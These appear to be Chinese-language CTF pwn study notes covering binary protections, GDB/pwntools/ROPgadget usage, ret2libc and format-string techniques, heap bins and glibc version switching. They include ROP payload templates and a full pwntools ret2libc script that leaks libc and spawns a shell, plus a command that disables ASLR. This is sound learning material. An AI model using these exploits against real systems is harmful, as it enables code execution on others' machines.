防护说明:
Stack Canary(金丝雀防护):
在ebp、return address下方放入,会检测是否被改变,一旦被payload覆盖,就会强行退出
PIE:
将ELF文件载入内存时进行随机化操作
ldd:用于查看某个可执行程序调用的动态链接库有哪些
NX:
栈是否可执行选项,如果这项开启,而其它几项关闭的话,大概率是使用ROP攻击
RELRO:
RELRO(ReLocation Read-Only):分为两种情况,第一种情况是Partial RELRO,这种情况是部分开启堆栈地址随机化,got表可写,第二种,Full RELRO是全部开启,got表不可写,Got表是全局偏移表,里面包含的是外部定义的符号相应的条目的数据段中,PLT表,是过程链接表/内部函数表,linux延迟绑定,但是最后还是要连接到Got,PLT表只是为一个过渡的作用
关闭ASLR:
echo 0 >> /proc/sys/kernel/randomize_va_space
关于syscall系统调用约定:
关于syscall的系统调用约定,可具体查阅“Linux系统调用表”(64位),32位和64位有所不同,32位:http://asm.sourceforge.net/syscall.html
ShellCode在线汇编:
amd64传参方式与x86不同:前6个参数依次存放于rdi、rsi、rdx、rcx、r8、r9,第7个及以后的参数才会存放于寄存器中
查找字符串有几种方法:
1、strings xxx | grep bin/sh
2、ROPgadget — binary xxx –strings ‘bin/sh’
3、pwntools中使用
from pwn import *
elf = ELF("./mypwn")
binsh = hex(next(elf.search(b"/bin/sh")))
另外,有时没有bin/sh的话,有可以利用的sh也是可以的,比如flush函数,截取后面的sh也是可行的,但要注意的是sh后面必须以\n或\x00结尾才可以!
LibcSearcher 使用:
在pwntools中使用:
from LibcSearcher import *
libc = LibcSearcher("printf",printf_addr)
libcbase = printf_addr - libc.dump("printf")
无法找到合适的Libc:
LibcSearcher/libc-database中运行./get
文件即可进行更新(要挂代理)。
如果还是不行,可以尝试如下命令:
cd LibcSearcher
rm -rf libc-database
git clone https://github.com/niklasb/libc-database.git
坑1:/get ubuntu
时报错:
Will download or update for:
Requirements for download or update 'ubuntu' are not met. Please, refer to README.md for installation instructions
参考README,安装依赖:
apt-get update
apt-get install -y \
binutils file \
wget \
rpm2cpio cpio \
zstd jq
然后就OK了,接下来就是漫长的等待了。
GDB常用命令-1:
查看地址技巧:(32位)如果是0x80开头的地址,则是该可执行程序内的地址,如果是0x7f开头的地址,则是libc中的地址
b main
:在main处下断点
b *$rebase(0x18540)
: pwndbg特有功能,可直接断在内存中的实际地址
x/20gx buf
:x 按十六进制格式显示变量,g表示八字节,表示从内存地址buf读取内容
info b
:查看所有断点信息
start
:如果gdb能找到main函数的话,会自动停留在程序的入口处
n
:单步执行
s
:单步步进
r
:运行
c
: 继续运行到下一个断点处或程序中断处(如需要用户交互输入的地方)
return
:跳出当前函数,回到上一函数
backtrace
:查看函数调用关系(如my_puts()函数属于main()函数,main()函数属于libc_start_main()函数)
plt
:显示plt信息(pwndbg自带)
got
:显示got信息(pwndbg自带)
stack 20
: 查看栈信息
pause
: 可配合gdb的attach(pid)进行调试,比如可以在两次send之间加入pause()
,然后另外开一个gdb窗口,使用attach pid
的方式attch后,输入return
进行动态调试两次send之间的变化
坑:关于cyclic:老版的pwndbg可以直接使用cyclic,新版已无法使用,只能通过在pwntools中使用,用法如下:
cyclic(200)
length = cyclic_find(0x6261616b)
GDB常用命令-2
vmmap
:查看内存映射
checksec
:查看程序的防护措施
pdisass/disassemble
: 查看当前函数帧的反汇编代码,前一个命令有高亮显示只是需要安装pwndbg插件,后面一个命令时gdb自带的命令无高亮显示
p/print
:打印信息,如寄存器p $ebp
x/<n/f/u>
: 查看某地址处的值,n/f/u 参数为可选,n代表想要查看多少个内存单元即从当前地址开始计算,每个内存单元的大小由后面的u参数指定,f表示显示格式, 如s表示字符串形式,i为指令形式: u指定内存单元大小,b(一个字节)、h(双字节)、w(四个字节)、g(八字节)默认为w;后面跟 上x代表以十六进制的形式查看变量
set *addr = value
: 设置某个地址的值
i b
:查看断点
d 1
: 删除1号断点
pwndbg技巧:
比如在做堆题目时,需要在libc的某个偏移地址下断点,可以使用:
b *$rebase(0x18540)
cyclic插件
cyclic 200
:生成200字符比如 aabbcccdd
在输入的位置粘贴 aabbcccdd 回车
提示 invalid address 0x62616164
输入 cyclic -l 0x62616164
获得偏移量
计算一个那个地址下断点b *0x8048672,会提示是rt2libcGOT.c, GOT表
Pwntools常用命令:
context(arch = 'i386', os = 'linux')
:声明是什么类型、什么系统的平台
context.log_level = "debug"
: 开启pwntools的调试模式,可对该py脚本进行调试日志查看
io = process('./ret2shellcode')
: process表示运行本地可执行程序,remote则是表示运行远程可执行程序
flat模块能将pattern字符串和地址结合并且转为字节模式,可以用flat()來构造rop,参数传递用list来传,list中的element为想串接的rop gadget地址,简单来说就是可以把:rop = p32(gadget1) + p32(gadget2) + p32(gadget3) ……变成这样表示:flat([gadget1,gadget2,gadget3,……])
elf = ELF("./xxx")
elf.symbols["system"]
:可直接寻找可执行程序中的system函数
next(elf.search(b'/bin/sh'))
:可寻找执行程序中的’/bin/sh’位置
cyclic(60)
:可自动生成XX字节的垃圾数据,等同于’A’*60,而且cyclic自动生成的垃圾数据,每4个字节会有一个特殊字符作为标记字符
p32(0x0804A080)
:可以很方便的将其变为字节型数据
u32(b'\xc06\xe4\xf7')
: 可以将字节型的数据转为int型
asm()
:可以将其转换为汇编
payload(shellcraft.sh()).ljust(112,b'A')
:其中shellcraft可以帮助轻松的生成类似/system/bin/sh的代码,ljust则是表示左侧用shellcraft生成的代码,右侧用垃圾代码填充,第一个参数‘112’表示长度,第二个参数表示用什么样的垃圾代码填充。
hex(next(elf.search(b"/bin/sh")))
:可以在pwntools中快速查找“bin/sh”之类的字符串,功能等同于IDA中的Shift+F12
注:实际动手操作才发现,类似“bin/sh”这类字符串在IDA中的静态地址位置是对的,而在ropgadge和pwntools中找到的地址需要减1才行
pwntools中,如果使用:
if arg.G:
gdb.attach(p)
可以使用python test.py G
进行跟踪调试。
在gdb-peda中,可以通过searchmem “aaaa”
或searchmem "/bin/sh" libc
在内存中进行搜索
ROPgadget工具:
binary 可执行程序 --only "pop|ret"
ROPgadget的原理(不断的利用ret,将寄存器填入我们预先‘埋伏’好的值):
ROPgadget常用命令:
ROPgadget --binary ./ret2libc3 --only "pop | ret"
ROPgadget --binary ./ret2libc3 --only "pop | ret" | grep "eax”
ROPgadget --binary ./ret2libc3 --only ”pop | ret" | grep "ebx" | grep”ecx" | grep” edx"
ROPgadget --binary ./ret2libc3 --string "/bin/sh”
一般来说pwn题的思路
1.没有NX保护,程序源码自带系统命令函数:直接覆盖返回地址即可
2.没有NX保护,可以我到system函数的plt的绝对地址:使用ret2text
3.没有NX保护,找不到system函数,利用输入函数,将shellcode写入到程序中: ret2shellcode
4.有NX保护,利用ROPGadget配 合int 0x80调用exeeve: ret2Syscall
5.有NX保护,利用Libc获取system函数的相对位置: ret2Libe
通过泄露地址后的思路:
1、基地址 = 实际地址(泄露的got地址) – libc中对应函数的偏移
2、目的函数地址 = 基地址 + libc中对应函数的偏移
ret2syscall:
关于ret2libc:
shellcode布局如下,要理解为什么system的传参(bin/sh)要在其位置上方的2个字节处:
一般较为简单的题目,会直接提供给你system和’bin/sh’,但大多数题目都不会提供现成的system和’bin/sh’,而且多数情况会给你提供一个远程服务器的libc.so文件,这时就需要我们通过泄漏puts、read这类函数的got表,然后通过分析libc.so文件,计算出system的偏移量,从而在远程服务器上实现system利用。
通常的解题思路为:
利用plt调用got表,获得got真实的运行地址,然后用got的真实地址-该函数在libc中的偏移地址,即可获得libc的基地址,然后就可以使用libc.so文件中的system、bin/sh函数了(libc基地址+system等函数偏移地址即可)
32位和64位的ROP链问题:
判断libc版本32位:
b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got)
getshell:
b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh)
判断libc版本64位:
b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(ret_addr)
getshell:
b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)
write堆栈结构:
第一次调用栈:
第二次调用栈:
参考代码如下:
from pwn import *
io = process('./level3')
elf = ELF('./level3')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
vul_addr = 0x0804844B
write_plt = elf.plt['write']
write_got = elf.got['write']
#这里用到write()函数,需要赋3个参数值,相当于:write(1,write_got,4),fd=1,要打印的地址(write_got)以及打印长度(4)
payload1 = b'A'* 140 + p32(write_plt) + p32(vul_addr) + p32(1) + p32(write_got) + p32(4)
io.recvuntil(b"Input:\n")
io.sendline(payload1)
write_addr = u32(io.recv(4))
print (hex(write_addr))
libc_write_offset = libc.symbols['write']
libc_system_offset = libc.symbols['system']
libc_binsh_offset = next(libc.search(b'/bin/sh'))
system_addr = write_addr - libc_write_offset + libc_system_offset
print ("system_addr:",hex(system_addr))
binsh_addr = write_addr - libc_write_offset + libc_binsh_offset
print("binsh_addr:",hex(binsh_addr))
payload2 = b'A' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
io.sendline(payload2)
io.interactive()
关于格式化字符串漏洞:
格式化字符漏洞大致有3种利用方式:%p
、%s
和%n
可使用%n$p
的格式,打印距离n的指针内容:
关于计算n距离的方法,大概有几种:
1、gdb动态调试:
32位,直接从输入值向下数到canary的位置-1即可。64位则需要+6再-1。
注意:64位和32位的不同,64位的程序传参是前6个存在6个寄存器中,从第7个开始入栈,所以在利用格式化字符串漏洞时会有6个偏移。
2、GDB确定canary值
比如下断点在printf,然后disass vuln
,通过查看$rbp-0x8
(pwndbg的话,使用x/20xg $rbp-0x8
)确定canary的值:
3、利用AAAA.%p.%p.%p
可以在输入内容时,输入AAAA.+N个%p.
进行泄露,然后根据41414141的位置来确定偏移(无需再-1)
4、利用peda的fmtarg功能
关于堆:
Libc各版本下载:
https://github.com/zeyugao/glibc-launchpad
下载后的deb包使用:
dpkg-deb -x libc6_2.27-3ubuntu1.3_amd64.deb ./libc
dpkg-deb -x libc6-dbg_2.27-3ubuntu1.3_amd64.deb ./sym
使用不同版本的glibc:
开源项目:glibc-all-in-one
git clone https://github.com/matrix1001/glibc-all-in-one
cd glibc-all-in-one
编译方式:
chmod 777 build download extract
sudo ./build 2.29 amd64 #编译glibc
sudo ./build 2.27 amd64
sudo ./build 2.23 amd64
下载方式:
./update_list #更新最新版本的glibc
$ cat list #查看可下载的glibc
$ ./download glibc #glibc为你想要下载glibc的名字
然后安装patchelf:
sudo apt-get install patchelf
参考pathelf的说明,切换版本,最好将ld、libc.so.6与可执行程序放在同一目录:
patchelf --set-interpreter /lib64/ld-linux.so.2 ./pwn
patchelf --set-rpath '$ORIGIN/' fastbin_dup_kuhn #使用这个更方便?
patchelf --replace-needed libc.so.6 /home/bhxdn/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc-2.32.so ./pwn#libc.so.6为需要替换的libc路径 第二个参数是需要加载的glibc的目录 pwn 是二进制文件
#也可以如下使用,一步到位:
patchelf --set-interpreter /root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath /root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 main_x64
ldd ./bin #查看elf的ld和libc
# $ORIGIN是个特殊的变量,ld会将它替换成程序当前目录
还原:
patchelf --shrink-rpath pwn
pwntools中使用:
p = process(['/2.27-3ubuntu1_amd64/ld-2.27.so', './pwn'], env={"LD_PRELOAD":'/2.27-3ubuntu1_amd64/libc.so.6'})
gdb中使用:
gdb your_program
(gdb) set environment LD_PRELOAD ./yourso.so
(gdb) start
#上面这种会报错,改用下面这种方法,OK:
set exec-wrapper env 'LD_PRELOAD=./libc-2.31.so'
bin:
当用户向堆管理器中申请(malloc)使用一大块内存空间时,系统会首先查询fastbin是否有合适的空间,如果没有合适的,会接着询问unsorted bin,如果unsorted bin也没有的话,会遍历整个unsorted bin(该合并的合并),如果仍没合适的,接着查询smallbin和largebin,如果依然无法满足,则只能从topbin中进行划分。
chunk:
分为malloc chunk 和 free chunk,bin是一种记录free chunk的链表数据结构,而freechunk则分为Unsorted bin、smallbin、largebin和fastbin chunk四种类型。
一个free chunk的结构中,header和pre chunk部分与allocated chunk定义相同,但一个free chunk会多出两个指针,这两个指针用于构建之后讨论的bin所需的双(单)链表。fd指向一个前一个(更低地址)free chunk,bk指向一个后一个(更高地址)free chunk。
how2heap
heap学习及练习:
https://github.com/shellphish/how2heap
ptmalloc源码分析-堆风水
glibc内存管理ptmalloc源代码分析.pdf
GLIBC_2.34’ not found 解决
Error /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34’ not found
检查版本:
strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_
显示:
GLIBC_2.2.5
GLIBC_2.2.6
GLIBC_2.3
GLIBC_2.3.2
GLIBC_2.3.3
GLIBC_2.3.4
GLIBC_2.4
GLIBC_2.5
GLIBC_2.6
GLIBC_2.7
GLIBC_2.8
GLIBC_2.9
GLIBC_2.10
GLIBC_2.11
GLIBC_2.12
GLIBC_2.13
GLIBC_2.14
GLIBC_2.15
GLIBC_2.16
GLIBC_2.17
GLIBC_2.18
GLIBC_2.22
GLIBC_2.23
GLIBC_2.24
GLIBC_2.25
GLIBC_2.26
GLIBC_2.27
GLIBC_2.28
GLIBC_2.29
GLIBC_2.30
GLIBC_PRIVATE
编辑源:
sudo vim /etc/apt/sources.list
deb http://th.archive.ubuntu.com/ubuntu jammy main #添加该行到文件
运行升级:
sudo apt update
sudo apt install libc6
再次查看:
strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_
GLIBC_2.30
GLIBC_2.31 //以下为新增
GLIBC_2.32
GLIBC_2.33
GLIBC_2.34
GLIBC_2.35
GLIBC_PRIVATE